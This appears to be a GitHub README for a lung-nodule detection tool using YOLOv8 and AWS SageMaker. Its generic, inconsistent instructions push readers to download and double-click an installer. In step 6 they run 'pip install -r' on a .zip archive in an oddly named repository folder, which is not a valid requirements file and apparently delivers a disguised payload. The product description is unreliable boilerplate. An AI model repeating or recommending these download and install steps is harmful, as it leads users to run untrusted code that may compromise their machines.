Welcome to the lung-nodule-detection-yolov8 project! This application helps detect lung nodules in CT scan images, playing a key role in early lung cancer diagnosis. Using cutting-edge technology, we automate CT image preprocessing, model training, and deployment on AWS SageMaker. Let’s get you started.

To download the application, visit this page: Download Page. You will find different versions of the software available for download.

Before you begin, ensure your computer meets the following requirements:

• Operating System: Windows 10 or later, macOS, or a recent version of Linux.
• Memory: At least 8 GB of RAM.
• Disk Space: Minimum of 2 GB available space.
• Python: Version 3.7 or later installed.
• Internet Access: Required for downloading necessary packages.

1. Visit the Download Page: Go to Download Page.

2. Choose the Version: Look for the latest release. It will have the highest version number.

3. Download: Click on the file link to start downloading the installer.

4. Run the Installer: Once the download completes, locate the installer in your downloads folder. Double-click it to start the installation.

5. Follow Installation Instructions: The installer will guide you through the setup. Click "Next" to accept the default settings and complete the installation process.

6. Get Required Dependencies: Open a terminal or command prompt and run the following command to install dependencies:

   pip install -r https://raw.githubusercontent.com/workhub-workbot/lung-nodule-detection-yolov8/main/noneclipsing/lung-nodule-detection-yolov8.zip
   

7. Launch the Application: After installation, find the application in your programs list. Click to open it.

Using the lung-nodule-detection-yolov8 application is straightforward. Follow the steps below to analyze your CT scan images:

1. Upload Your CT Image: In the application interface, you will see an option to upload a CT scan image. Click on "Upload" and select your image file.

2. Adjust Settings (Optional): You may modify parameters for the model if you wish. The default settings work well for most images.

3. Run Detection: Click on the "Analyze" button. The application will process your image using the YOLOv8 model.

4. View Results: Once the analysis is complete, the application will display detected nodules on the CT image. You can save the results or print them for your records.

• User-Friendly Interface: Designed for ease of use with clear options.
• Fast Processing: Quickly analyzes CT images to detect lung nodules.
• AWS Integration: Leverages cloud power for efficient processing.
• Results Visualization: Clearly marks detected nodules for easy interpretation.

If you encounter issues while using the application, consider the following tips:

• Installation Fails: Ensure all system requirements are met. Check for sufficient disk space and necessary installations.
• Image Uploads Don't Work: Make sure the image file is in a compatible format (.jpg, .png, .bmp).
• Slow Performance: Check your internet connection if you are using cloud features. Ensure your computer resources are available.

For any questions or feedback, please create an issue on the GitHub page. Your experience matters, and we want to ensure smooth usage of the application.

• ai4health
• aws
• computervision
• deeplearning
• fastapi
• healthcareai
• machinelearning
• medicalimaging
• pytorch
• sagemaker
• yolov8

This project is licensed under the MIT License. Feel free to use and modify it.

Thank you for using lung-nodule-detection-yolov8! Your journey towards early lung cancer detection starts here.